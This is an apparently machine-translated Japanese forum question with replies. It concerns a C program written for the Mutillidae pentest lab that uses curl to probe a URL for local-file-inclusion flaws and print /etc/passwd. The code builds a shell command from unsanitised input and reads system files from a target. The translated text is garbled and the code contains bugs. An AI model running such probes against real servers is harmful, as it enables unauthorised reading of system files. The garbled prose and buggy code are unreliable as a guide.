これは、 "ミチリダエ(Mutillidae)"と呼ばれるペンテストラボ環境です。プログラミングエレメントsprintf()への配列
このプログラムはARGV [1]とコマンドへ場所グラブ "<をカール[ARGV [1]>"、 それは)(第2 %Sはsprintfでにlfi_testファイルや場所、そこからラインをつかみます。このプログラムは%100を実行しますが、フォーマット(| grep root)に問題があります。代わりに、/ etc/passwdファイル全体を含むソースコード全体が表示されます。
私はライン#20のコメントを解除した場合:
int passwd = "/etc/passwd";
とライン#27
にsprintf(url,"/usr/bin/curl %s%s", argv[1], passwd);
を変更私は私が望むフォーマットされた結果を得ることができています。 誰かが私を助けることができる場合は、事前に感謝します。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[200];
int i;
FILE *fp;
char line[200];
char *root = "| grep root"
// char *passwd = "/etc/passwd";
fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 1; i++)
{
fgets(line,sizeof(line), fp);
sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root);
// printf("%s", line);
system(url);
}
}
}
'は/ etc/passwd'をimmibis
おかげで、文字列で、それは' int'に割り当てるべきではありません。 'char * passwd ="/etc/passwd ";'のような代入が使われる必要があります。 – DUman
@DUmanヘッドアップマンに感謝、私はそれを変更し、それを書き留めた。 – Freshnuts
'line'は最後に\ nを付けます。 – immibis